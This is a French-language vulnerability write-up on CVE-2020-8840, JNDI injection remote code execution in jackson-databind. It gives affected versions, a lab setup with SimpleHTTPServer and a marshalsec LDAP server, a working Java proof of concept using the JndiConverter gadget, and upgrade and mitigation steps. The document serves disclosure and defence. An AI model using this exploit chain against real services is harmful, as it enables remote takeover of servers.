CVE-2020-8840 : Vulnérabilité d'exécution de code à distance dans FasterXML/jackson-databind

0x00 Introduction

jackson-databind est une bibliothèque de traitement JSON appartenant au groupe de projet FasterXML.

0x01 Aperçu de la vulnérabilité

Le 19 février, NVD a publié un avis de sécurité divulguant une vulnérabilité d'exécution de code à distance dans jackson-databind due à une injection JNDI (CVE-2020-8840), avec un score CVSS de 9,8. Dans les versions affectées de jackson-databind, en raison de l'absence de certaines classes de la liste noire xbean-reflect/JNDI, telles que org.apache.xbean.propertyeditor.JndiConverter, un attaquant peut utiliser une injection JNDI pour exécuter du code à distance et obtenir le contrôle du serveur (au niveau du service Web).

0x02 Versions affectées

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

0x03 Mise en place de l'environnement

• Version JDK : 1.81 【L'utilisation de LDAP et RMI avec l'injection JNDI impose certaines exigences sur la version JDK. À travers l'image ci-dessous, nous pouvons clairement connaître le moment de la correction par Oracle.

1. Placez la classe malveillante déjà compilée dans le répertoire du serveur Web

Utilisez simplehttp pour mettre en place un service Web

python -m SimpleHTTPServer 8080

2. Démarrez le service LDAP

Ici, nous utilisons marshalsec. Lien GitHub : https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

3. Créez un projet Java et importez le fichier JAR de la version vulnérable

0x04 Exploitation de la vulnérabilité

• Toute la chaîne d'exploitation

poc --> ldap --> http

• poc

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

• Exécutez directement le POC pour charger la classe malveillante sur le serveur Web via LDAP, entraînant une exécution de code à distance

0x05 Correctif

1. Mettez à niveau jackson-databind vers les versions 2.9.10.3, 2.8.11.5, 2.10.x

2. Vérifiez si le projet utilise xbean-reflect. La cause principale de cette vulnérabilité est l'existence d'une chaîne d'exploitation spéciale dans xbean-reflect permettant à un attaquant de déclencher un chargement de classe distant via JNDI. Supprimer xbean-reflect peut atténuer l'impact de la vulnérabilité.

Liens de référence :

https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee

https://github.com/jas502n/CVE-2020-8840